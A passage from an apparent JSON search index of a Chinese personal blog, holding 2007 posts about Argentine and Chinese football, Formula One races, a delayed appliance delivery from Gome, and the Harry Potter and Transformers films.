国战车之后，阿根廷队在世界杯上的表现就差强人意。94年止步于8强，98年被荷兰淘汰，2002小组未出线，2006年遇到了东道主德国人的阻拦。自从肯佩斯的1978以及马拉多纳的1986之后，阿根廷人就再也没有近距离接触过那金光闪闪的大力神杯，也许在下次阿根廷人举起世界杯的时候，也就是下一代新球王诞生之际，新球王到底是谁呢？梅西、特维斯还是阿圭罗，让我们拭目以待。\n我一直认为这种举世公认的\u0026rsquo;球王\u0026rsquo;一定是诞生在南美的，不是巴西就是阿根廷，这的确与对足球的理解有很大关系，欧洲人的中规中矩的踢球风格很难使之成为球王的诞生地。\n阿圭罗与莫拉雷斯\n梅西\n","permalink":"https://tonybai.com/2007/07/27/maradona-initiate-the-way-to-giant-star-of-world-youth-soccer/","summary":"\u003cp\u003e在刚刚结束的世界青年足球U20锦标赛中，以\u003ca href=\"http://www.sergioleonelaguero.com/\"\u003e阿圭罗\u003c/a\u003e和莫拉雷斯为代表的阿根廷队蝉联冠军，这是阿根廷在最近的7届U20赛事中的第5次夺冠了。阿根廷的主力10号阿圭罗同时获得最佳球员和最佳射手的称号，这是既上届荷兰世青赛U20梅西之后又一位包揽金球奖和金靴奖的冠军10号成员了。这两年阿根廷出了太多才华横溢的球员，梅西、特维斯、阿圭罗等，他们都被比作球王马拉多纳的接班人。我也顺便在网络上搜索了一下，原来在28年以前的第二届日本世青赛上，正是当时19岁的马拉多纳的精彩表现，让阿根廷队拿到冠军，马拉多纳也成为了当时的最佳球员，可以说是马拉多纳开创了\u0026rsquo;世青赛\u0026rsquo;巨星之路的先河，在马拉多纳之后，诸如范·巴斯滕、菲戈、劳尔、亨利等球星也是从世青赛脱颖而出的，当然近两年阿根廷的新星就更不用提了。\u003c/p\u003e\n\u003cp\u003e近两年阿根廷出了一批马拉多纳似的小个子核心球员，他们技术一流，都具备在各自球队中独挑大梁的任务，如\u003ca href=\"http://www.leomessi.com/en/web.html\"\u003e梅西\u003c/a\u003e、特维斯等。阿根廷队造星的效率之高的也让世界诸强羡慕不已。我想这是得益于阿根廷良好的青少年足球培养，比如阿圭罗就是从阿根廷独立俱乐部第8级梯队一直踢到一线队的，当然阿根廷人独特的踢球天赋也是不可磨灭的。\u003c/p\u003e","title":"马拉多纳开创'世青赛'巨星之路"},{"content":"上周日在沈阳国美买了一款西门子冰箱，在送货栏上写明：当天晚上7点送货，结果：我的冰箱现在还在外面货车上跟车呢。\n国美网站上送货上门说明是这样的：\n送货上门是国美网上商城自开通运营以来一直为广大顾客提供的特色服务之一，国美网上商城销售商品由国美专业配送服务人员进行集中配送，以保证顾客购买商品的配送安全及按时送达，由于此种送货方式安全、方便、快捷及服务标准统一，因此得到广大顾客的认可和支持！\n这里所谓的按时送达，我看该打个折扣了。\n7月22日上午10点左右我在国美付款买下西门子冰箱，晚上7点，送货的仍然一个电话也没打来，按照国美的服务条例，在送货前1小时会与买主电话联系。在晚上7点到11点之间我打了不下5个电话给送货的，结果告知我另一个人负责送货，另一个送货的人一直推脱还有货没送完，让我们等，到了晚上11点，货仍然没到，我一气之下告诉那个人不用送货了，我要退货，当然是气话，遂关机睡觉。\n7月23日，我出差云南，GF联系那个人，那个送货人说晚上7点之后给送，结果一晚上杳无音信。\n7月24日，上午接到送货人电话，告知要送货给我，我在外地出差，叫他打我GF电话，中午GF说叫那个人晚上6点後送；下午3点GF打电话说：那个送货人打电话说送不了了，因为在大东区有10多个要送。\n至今我的冰箱还在随着车满城跑，什么样的电器能禁得住这么折腾啊。\n除了退货我别无选择，估计退货过程也是繁琐之极，买主都是弱势群体，天天上班，哪有功夫和他们闲扯蛋。国美，你的送货服务真是让我失望之极。\n","permalink":"https://tonybai.com/2007/07/24/delivery-service-of-gome-make-me-disppointed/","summary":"\u003cp\u003e上周日在沈阳国美买了一款西门子冰箱，在送货栏上写明：当天晚上7点送货，结果：我的冰箱现在还在外面货车上跟车呢。\u003c/p\u003e\n\u003cp\u003e国美网站上送货上门说明是这样的：\u003c/p\u003e\n\u003cp\u003e送货上门是国美网上商城自开通运营以来一直为广大顾客提供的特色服务之一，国美网上商城销售商品由国美专业配送服务人员进行集中配送，以保证顾客购买商品的配送安全及按时送达，由于此种送货方式安全、方便、快捷及服务标准统一，因此得到广大顾客的认可和支持！\u003c/p\u003e","title":"国美送货服务让人失望！"},{"content":"汉密尔顿是人，在连续9次登上本赛季F1各分站赛的领奖台后，汉密尔顿终于在第10站纽伯格林赛道走下\u0026rsquo;神坛\u0026rsquo;。\n不得不说汉密尔顿缺少点运气，在F1本赛季的下半阶段的第一站的排位赛，汉密尔顿的赛车右前轮居然因为松动而使汉密尔顿重重的撞到了护栏上，导致受伤，退出排位赛。虽说伤势不重，可以参加正赛，但是要在第10位发车，这势必会影响其成绩。但是即使这样汉密尔顿仍然有登上领奖台的希望。\n正赛一开始，汉密尔顿果然连续超过几个前面的赛车，如果按照这样下去，凭借汉密尔顿高超的驾车技巧以及银箭不慢的车速，上到前4应该不成问题，但是就在这个时候天降大雨，一下子搅乱了赛程。汉密尔顿的车也因路面湿滑而滑出赛道，大部分车手的赛车都是同样的下场，雨太大了。\n雨势见小後重新发车时，众车迷才发现汉密尔顿掉到了最后一位，而且还落后一圈。汉密尔顿除了穷追不舍之外已经无路选择了。在追赶的过程中他也不断刷新着最快圈速，不过无奈落后太多，在诸多选手因故退赛后，最终汉密尔顿获得第九名，差一点拿到积分。赛后汉密尔顿说道如果不是给马萨和阿隆索让车的话，他肯定能拿到积分。\n俗话说：风水轮流转。汉密尔顿近来的表现在我看来应该是探底了，触底就该反弹了。期待在以后的分站赛，汉密尔顿能有出色表现。\n其实说实话本站最倒霉的要属莱科宁了，拿到杆位的莱科宁居然让大雨把已经捧在手里的冠军又拱手让给了别人，相信他一定很郁闷。\n","permalink":"https://tonybai.com/2007/07/24/hamilton-step-down-altar/","summary":"\u003cp\u003e汉密尔顿是人，在连续9次登上本赛季F1各分站赛的领奖台后，汉密尔顿终于在第10站纽伯格林赛道走下\u0026rsquo;神坛\u0026rsquo;。\u003c/p\u003e\n\u003cp\u003e不得不说汉密尔顿缺少点运气，在F1本赛季的下半阶段的第一站的排位赛，汉密尔顿的赛车右前轮居然因为松动而使汉密尔顿重重的撞到了护栏上，导致受伤，退出排位赛。虽说伤势不重，可以参加正赛，但是要在第10位发车，这势必会影响其成绩。但是即使这样汉密尔顿仍然有登上领奖台的希望。\u003c/p\u003e","title":"汉密尔顿走下'神坛'"},{"content":"断断续续的看了昨晚亚洲杯C组中国队与乌兹别克斯坦的比赛，说实话，看到中国队丢球心里真是痛心啊，相信中国球迷都会和我有一样的感受。但90分钟比赛结束后，面对被小组淘汰的结局，面对\u0026quot;打平即可出现\u0026quot;的魔咒再次显灵，我们又都想说些什么，也许是球迷对国足的期望太高了或者还是停留在以前对国足的印象里，这里有一句话要和广大中国球迷分享：\u0026ldquo;清醒吧，国足水平也就这样了\u0026rdquo;。\n比赛输了，什么都不要怪，就怪自己水平不济，水平是包含多个方面的，既包含技战术水平，也包含临场发挥的能力，还有一个球队的\u0026rsquo;软实力\u0026rsquo;如何有时也是决定比赛胜负的原因之一，特别是在赛会制的大赛中，软实力的作用就更加重要了。软实力都包含哪些呢，随意说说，我想包含团结，坚韧，超强的意志力，统一的目标，团队精神，战胜对手的决心等等，我相信在本场比赛中中国队缺乏的恰恰是软实力。回顾以前诸多中国队在大赛中的失利，以及中国俱乐部球队在亚洲赛场的失利(比如今年亚冠的山东鲁能)我们不难发现中国球队球员软实力的缺乏；反观朝鲜男女足，其国家缺乏财力物力，球队参加大赛的机会也少，但是每每战绩就是比中国队好，这就是软实力的作用。\n谈到软实力，我们可能会想到我们的子弟兵，从红军时代到八路军到解放军再到志愿军，中国军队面对的都是比自己硬实力强大的多的对手，但中国军队每每都是战胜对手，靠的是什么，就是软实力。包括在现代，中国军队的软实力在世界范围内仍是领先的。\n中国足球问题太多太多，中国足球总说要向韩国学习，向日本学习，可是学了这么多年为什么越学越差呢，是足协的领导，各级教练员，每个球员反思的时候了，我们这么多年到底学到了什么？急功近利的臭毛病到底什么时候能改掉呢。\n劝球迷们也不要骂了，该干嘛干嘛去吧。\n","permalink":"https://tonybai.com/2007/07/19/sober-yourself-national-football-team-is-indeed-on-such-low-level/","summary":"\u003cp\u003e断断续续的看了昨晚亚洲杯C组中国队与乌兹别克斯坦的比赛，说实话，看到中国队丢球心里真是痛心啊，相信中国球迷都会和我有一样的感受。但90分钟比赛结束后，面对被小组淘汰的结局，面对\u0026quot;打平即可出现\u0026quot;的魔咒再次显灵，我们又都想说些什么，也许是球迷对国足的期望太高了或者还是停留在以前对国足的印象里，这里有一句话要和广大中国球迷分享：\u0026ldquo;清醒吧，国足水平也就这样了\u0026rdquo;。\u003c/p\u003e","title":"清醒吧，国足水平也就这样了"},{"content":"惊悉蓝白军团0:3负于桑巴军团二队！\n从1998世界杯，到2004美洲杯，到2006世界杯，再到今天的美洲杯决赛，阿根廷人似乎总在重复着一个节奏，小组赛大热到热的发烫，而在某场汰赛中出乎意料的输掉比赛，结局与其身上的蓝色一样带着某种忧郁和悲情, 甚至2002年世界杯小组都没能出线。\n里克尔梅的统治力，梅西的灵气在本场美洲杯决赛中都阻挡不了巴西人疯狂的逼抢，阿根廷人郁闷了，他们的印象中的那个老对手巴西队怎么变成了这个样子，阿根廷人反倒有些不适应了。身披华丽足球外衣的阿根廷人开始动摇了，一个球，一个乌龙，再一个进球，再梅西的入球被判越位，就这样阿根廷人再次与冠军失之交臂。有人说阿根廷人是不愿意得到这个冠军，因为有一个维持了近70多年的魔咒：凡是在获得当年美洲杯冠军的南美球队，一定不能夺得接下来的世界杯冠军。但是阿根廷人真的是这么想的么？我想未必，阿根廷人太需要一个大赛的冠军来改善自己的\u0026quot;心理问题\u0026quot;了，毕竟世界杯是全世界强队都向往的荣誉，到那时摆在阿根廷人前面的就不仅仅是老对手巴西了，法国、意大利、德国、西班牙、英国等传统强队同样不会手下留情的。\n一只豪华之师为什么屡屡与冠军插肩而过，到了该好好想想的时候了。\n","permalink":"https://tonybai.com/2007/07/17/agentina-suffer-champion-phobia/","summary":"\u003cp\u003e惊悉蓝白军团0:3负于桑巴军团二队！\u003c/p\u003e\n\u003cp\u003e从1998世界杯，到2004美洲杯，到2006世界杯，再到今天的美洲杯决赛，阿根廷人似乎总在重复着一个节奏，小组赛大热到热的发烫，而在某场汰赛中出乎意料的输掉比赛，结局与其身上的蓝色一样带着某种忧郁和悲情, 甚至2002年世界杯小组都没能出线。\u003c/p\u003e","title":"阿根廷人得了冠军'恐惧症'"},{"content":"看了中国和伊朗比赛的球迷，除了略微得意于国足们那开场的若干分钟的表现之外，对国足中后阶段的一贯糟烂表现除了愤慨就是无奈了。\n和伊朗的比赛，中国队再次展现其一贯的\u0026rsquo;节奏\u0026rsquo;，领先优势一点点被蚕食，然后就是一味的防守。大概想了想中国队以前的若干场比赛，凡是有如此节奏的比赛都有如下特点：后卫总是冲到最前面代替前锋，结果前锋机会被抢走，经常因为本方后卫的干扰而失去进攻机会，而后卫太靠前直接的结果就是后方空虚，时常被对手打反击得手；另外后卫前后场来回跑，体力极度下降，精神难以集中，经常走神，导致出现中国特色的比赛节奏，从上半场30~40分钟开始，中国队就开始打及其难看的足球了。看看日本队以及其他欧美强队，哪个是如此打法，也许有偶尔后卫上前争顶的，或者是比分落后放手一搏时才如此做的，而中国队的后卫每每有角球、任意球都会冲到最前面与前锋们抢进球，估计像韩鹏等人心里肯定犯嘀咕，只是不敢说罢了。\n","permalink":"https://tonybai.com/2007/07/17/the-reason-why-chinese-nation-football-team-play-worse/","summary":"\u003cp\u003e看了中国和伊朗比赛的球迷，除了略微得意于国足们那开场的若干分钟的表现之外，对国足中后阶段的一贯糟烂表现除了愤慨就是无奈了。\u003c/p\u003e\n\u003cp\u003e和伊朗的比赛，中国队再次展现其一贯的\u0026rsquo;节奏\u0026rsquo;，领先优势一点点被蚕食，然后就是一味的防守。大概想了想中国队以前的若干场比赛，凡是有如此节奏的比赛都有如下特点：后卫总是冲到最前面代替前锋，结果前锋机会被抢走，经常因为本方后卫的干扰而失去进攻机会，而后卫太靠前直接的结果就是后方空虚，时常被对手打反击得手；另外后卫前后场来回跑，体力极度下降，精神难以集中，经常走神，导致出现中国特色的比赛节奏，从上半场30~40分钟开始，中国队就开始打及其难看的足球了。看看日本队以及其他欧美强队，哪个是如此打法，也许有偶尔后卫上前争顶的，或者是比分落后放手一搏时才如此做的，而中国队的后卫每每有角球、任意球都会冲到最前面与前锋们抢进球，估计像韩鹏等人心里肯定犯嘀咕，只是不敢说罢了。\u003c/p\u003e","title":"发现中国队为什么总踢难看球了"},{"content":"据moviesoon报道，哈利波特第五部\u0026quot;哈利波特与凤凰社\u0026quot;已在北美、日本、香港以及台湾等地区上映，而且票房甚好，普遍反响是剧情紧凑，没有喘息机会，制作上估计也会继承以前一贯的精良，魔法的展现势必也要更好，但是另外一个负面消息就是剧情删改太多。\n因为这部电影大陆要等到8月份才上映(如果我没记错的话)，我们也只能听已经欣赏过该片的Fans们讲述其感受了。在J.K罗琳的小说中\u0026quot;哈利波特与凤凰社\u0026quot;确确实实是一部大部头，也是我唯一没有时间看完的一部小说，现在那本书还躺在我的床头，估计上面已经落了不薄的一层浮灰了^_^。当时就在想这么一本后书要想完全展现出其中的剧情细节的话，这部电影绝对要4个小时以上才可以。显然这是达不到的。这也给全世界的哈迷们带来不小的遗憾，自从第四部\u0026quot;哈利波特与火焰杯\u0026quot;开始原著的厚度就开始\u0026rsquo;膨胀\u0026rsquo;，电影中删减的情节也势必越来越多，哈迷们也势必跟着显露出自己的不满情绪。\n突然有一种想法：哪位投资人(最好是哈迷)可以将哈利波特拍成电视剧，完全按照原著，将细节尽显，我想起码应该有30集才够吧，而且每集至少2小时^_^。\n","permalink":"https://tonybai.com/2007/07/13/wish-harry-potter-be-a-tv-play/","summary":"\u003cp\u003e据\u003ca href=\"http://mymovie.blogbus.com/logs/6544920.html\"\u003emoviesoon\u003c/a\u003e报道，哈利波特第五部\u0026quot;哈利波特与凤凰社\u0026quot;已在北美、日本、香港以及台湾等地区上映，而且票房甚好，普遍反响是剧情紧凑，没有喘息机会，制作上估计也会继承以前一贯的精良，魔法的展现势必也要更好，但是另外一个负面消息就是剧情删改太多。\u003c/p\u003e\n\u003cp\u003e因为这部电影大陆要等到8月份才上映(如果我没记错的话)，我们也只能听已经欣赏过该片的Fans们讲述其感受了。在J.K罗琳的小说中\u0026quot;哈利波特与凤凰社\u0026quot;确确实实是一部大部头，也是我唯一没有时间看完的一部小说，现在那本书还躺在我的床头，估计上面已经落了不薄的一层浮灰了^_^。当时就在想这么一本后书要想完全展现出其中的剧情细节的话，这部电影绝对要4个小时以上才可以。显然这是达不到的。这也给全世界的哈迷们带来不小的遗憾，自从第四部\u0026quot;哈利波特与火焰杯\u0026quot;开始原著的厚度就开始\u0026rsquo;膨胀\u0026rsquo;，电影中删减的情节也势必越来越多，哈迷们也势必跟着显露出自己的不满情绪。\u003c/p\u003e","title":"哈利波特应该拍成30集电视剧"},{"content":"‘举国’关注的美国科幻大片’变形金刚’终于与今天凌晨在国内首映，沈阳今天也是第一天放映，其实早在美国上映后的第二天盗版就在网上出现了，但是相信真正的影迷兼变形金刚迷是不会看这种盗版的，到电影院里享受变形金刚给我们带来的视听享受才是正道。\n变形金刚真人版其实拍的恰逢人和之际，为什么这么说呢，变形金刚诞生于80年代，影响的是70、80两代人，而这两代人恰恰是现在的消费主力大军，所以自然不会在乎那百八十元的电影票(以上以下观点仅限中国大陆)。当然首映的票数有限，我也不会去挤那几张烫手的门票，我已经计划下周二(如果不出差的话)到电影院去欣赏变形金刚了，遗憾的是沈阳的电影院一般都播放译制版，我觉得英文对白，中文字幕是最适合我的，既能看懂又不失原汁原味。\n想起儿时对变形金刚的狂热，每天上学(那时在小学2-3年级)书包中都会带上几个变形金刚玩具，课间大家都会拿出自己的’宠物’比试一番，那时候时兴交换变形金刚，毕竟变形金刚角色众多，自己不可能买全所有玩具，所以就’易货’来满足自己对其他玩具的需求。那时候我除了玩玩具，还喜欢画变形金刚书中的各种角色造型，一本本的画，说实话，自己现在想起来觉得当时自己画的很好，现在再画可真的画不出来了。当时有一个小学同学我们一起画，现在他正从事建筑设计专业的工作，相信和当时的爱画画是分不开的，而且他画的的确比我好，呵呵。很可惜由于搬家的缘故，那些我的画册已经找不到了，否则我一定好好的将其保存收藏起来。\n这里唯一的遗憾就是该部片子中变形金刚任务太少，而且没有完全尊重原版，部分车型因为商业利益做了改变，大黄蜂的经典甲壳虫变成了雪佛兰，不过听说还会有续集，希望续集里有更多人物出现。\n真希望有投资方和导演能够按照原作拍摄一系列变形金刚的真人版，那才是变形金刚迷的最理想期望。\n","permalink":"https://tonybai.com/2007/07/11/film-transformers-comes/","summary":"\u003cp\u003e‘举国’关注的美国科幻大片’变形金刚’终于与今天凌晨在国内首映，沈阳今天也是第一天放映，其实早在美国上映后的第二天盗版就在网上出现了，但是相信真正的影迷兼变形金刚迷是不会看这种盗版的，到电影院里享受变形金刚给我们带来的视听享受才是正道。\u003c/p\u003e","title":"变形金刚国内上映了"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2007/07/10/we-are-on-the-same-level-with-chinese-national-football-team/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"我们和中国队是一个档次的球队，所以要争胜"},{"content":"刚刚全程在电视上看完了在英国银石赛道举行的F1英国大奖赛，昨天取得杆位的英国小伙，本赛季新人汉密尔顿并没有如众人所望，拿下该分站赛冠军，而是以一个第三名结束了本赛季F1的上半程，虽然在车手积分榜上依旧领先。\n了解F1的人都知道英国的银石赛道历史之悠久，1948年起开始举办英国大奖赛，并在1950年成为第一场F1世界锦标赛的赛场，可以说现代F1赛事就是从该赛道启航的，不过也是由于历史太过悠久，在现代人眼中其设施已经显出落后了，并且以\u0026rsquo;脏\u0026rsquo;出名。在电视上也可以看到赛道上的白色及其他不明物质。不过这丝毫不影响今年英国车迷来到该赛道看球的欲望，因为有汉密尔顿，英国车迷的把希望都寄托到了汉密尔顿身上，希望其能在本土拿到这个分站赛冠军。昨天的排位赛，汉密尔顿没让大家失望，在最后时刻以微弱优势超越莱科宁，拿到杆位。今天的正赛，出发时刻依然正常，汉密尔顿成功的在发车阶段挡住了莱科宁的进攻。不过迈凯轮对自己的赛车实在是信心不足，让汉密尔顿采用了轻油策略，提早进站，而在进站的时候汉密尔顿为年轻付出了代价，在队友油管还未拔出前就急于发车，结果耽误了至少2秒的时间，让莱科宁轻松超越；之后汉密尔顿又被队友阿隆索通过进站超越，落到第三位，这个名次也一直保持到了最后，虽然其本赛季站站登上奖台的记录依旧延续，不过本站其表现实在是对不起车迷们。在最后居然和第一名莱科宁有30多秒的差距。除了进站战术的问题不谈，汉密尔顿今天的发挥真的一般，车速太慢，导致差距越拉越大，最后到了无法弥补的代价，再加上那次失误。不过对于年轻的汉密尔顿来说，这也未必不是一件坏事，相信事后车队以及汉密尔顿本人都会认真总结反思的，争取在本赛季下半段扩大自己的领先优势，汉密尔顿仍旧是目前F1世界最具车王潜质的选手，继续加油吧!\n","permalink":"https://tonybai.com/2007/07/08/hamilton-fail-on-silverstone/","summary":"\u003cp\u003e刚刚全程在电视上看完了在英国银石赛道举行的F1英国大奖赛，昨天取得杆位的英国小伙，本赛季新人\u003ca 